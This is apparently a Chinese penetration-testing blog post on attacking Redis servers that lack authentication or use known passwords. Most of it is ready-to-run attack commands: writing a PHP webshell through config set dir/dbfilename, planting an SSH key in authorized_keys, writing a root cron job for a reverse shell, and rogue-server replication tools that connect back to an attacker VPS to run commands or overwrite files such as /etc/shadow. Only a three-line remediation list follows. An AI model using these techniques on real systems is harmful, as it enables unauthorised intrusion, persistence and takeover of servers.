目录

Redis 在渗透测试中常见的利用方式

Redis 在渗透测试中常见的利用方式

本文主要以 redis 未授权或已知 redis 口令为前提进行漏洞利用

https://geekby.oss-cn-beijing.aliyuncs.com/MarkDown/20200525095914.png-water_print

1 写入 webshell

条件:

  • 已知 web 目录绝对路径
  • 拥有该目录下的可写权限

查看所有键,创建新键,键值为 webshell,这里以写入 phpinfo 进行一个演示。

因为创建新键赋键值会把原来的键值覆盖,所以需要在赋值的时候需要查看所有的键,然后选择一个没有的键创建赋值。

1
2
3
keys *
set x "\n\n<?php pnpinfo();?>\n"
get x

https://geekby.oss-cn-beijing.aliyuncs.com/MarkDown/20200525100009.png-water_print

查看 redis 数据库配置信息,因为我们写 Webshell 会修改 dirdbfilename,所以这里查看配置信息主要记下原来的值,好在写入后修改回来。

1
config get *

https://geekby.oss-cn-beijing.aliyuncs.com/MarkDown/20200525100101.png-water_print

https://geekby.oss-cn-beijing.aliyuncs.com/MarkDown/20200525100117.png-water_print

设置 webshell 输出目录和文件名,然后写入 Webshell。

1
2
3
config set dir /var/www    # 设置文件写入目录
config set dbfilename 1.php   # 设置写入文件名
save # 保存

https://geekby.oss-cn-beijing.aliyuncs.com/MarkDown/20200525101443.png-water_print

最后,再还原数据库配置。

2 写入 ssh 公钥

条件:

  • 已知启动服务的用户
  • 拥有 .ssh 目录
  • 允许使用基于密钥认证的方式登陆

2.1 生成公私钥对

1
ssh-keygen -t rsa    # 生成公钥和私钥

2.2 利用 redis config 写文件

1
2
3
4
set x "\n\n公钥内容\n"
config set dir /home/user/.ssh
config set dbfilename authorized_keys
save

2.3 利用公私钥对登录

1
ssh -i id_rsa user@ip

3 写定时任务反弹 shell

条件:

  • 拥有计划任务目录写权限
  • 目标启动计划服务
1
2
3
4
5
6
7
keys *    查看所有键
set x "\n\n计划任务内容\n\n"    
config get *    
config set dir /var/spool/cron    
config set dbfilename root    
save    保存,完成文件写入
del x    删除创建的x键

4 主从复制

4.1 加载扩展模块执行系统命令

具体的原理在之前漏洞复现的文章中已经解释过。

脚本地址:https://github.com/Dliv3/redis-rogue-server

主动连接模式:

参数说明

  • --rpasswd 如果目标 Redis 服务开启了认证功能,可以通过该选项指定密码
  • --rhost 目标 redis 服务 IP
  • --rport 目标 redis 服务端口,默认为 6379
  • --lhost vps 的外网 IP 地址
  • --lport vps 监控的端口,默认为 21000
1
python3 redis-rogue-server.py --rhost <target address> --rport <target port> --lhost <vps address> --lport <vps port>

https://geekby.oss-cn-beijing.aliyuncs.com/MarkDown/20200525104637.png-water_print

被动连接模式:

适用于目标Redis服务处于内网的情况

  • 通过 SSRF 攻击 Redis
  • 内网 Redis 未授权访问/已知 Redis 口令,Redis 需要反向连接 redis rogue server
1
python3 redis-rogue-server.py --server-only

4.2 主从复制写入纯净文件

在 linux 下,可以利用 SYNC 主从同步,来直接写入无杂质的文件,脚本如下:

https://github.com/r35tart/RedisWriteFile

此脚本是通过 Redis 主从写出无损文件,可用于 Windows 平台下写出无损的 EXEDLLLNKLinux 下的 SO 等二进制文件

也可以用无杂质覆写 Linux 中的 /etc/shadow

1
python3 RedisWriteFile.py --rhost 172.17.0.2 --rport 6379 --lhost 172.17.0.1 --lport 4444 --rpath "/var/www" --rfile "test.php" --lfile "./phpinfo.php"

https://geekby.oss-cn-beijing.aliyuncs.com/MarkDown/20200525104700.png-water_print

https://geekby.oss-cn-beijing.aliyuncs.com/MarkDown/20200525104744.png-water_print

上述方法主要是针对 linux,当 windows 上未开启 web 服务时,该如何 getshell?

下面介绍下 redis 在 windows 下的常见打法:

  1. 系统 DLL 劫持 (目标重启或注销)
  2. 针对特定软件的 DLL 劫持(目标一次点击)
  3. 覆写目标的快捷方式 (目标一次点击)
  4. 覆写特定软件的配置文件达到提权目的 (目标无需点击或一次点击)
  5. 覆写 sethc.exe 等文件 (攻击方一次触发)

参考:http://r3start.net/index.php/2020/05/25/717

5 漏洞修复

  • 设置密码认证
  • 尽量以低权限来运行 Redis 服务
  • 限制登录 IP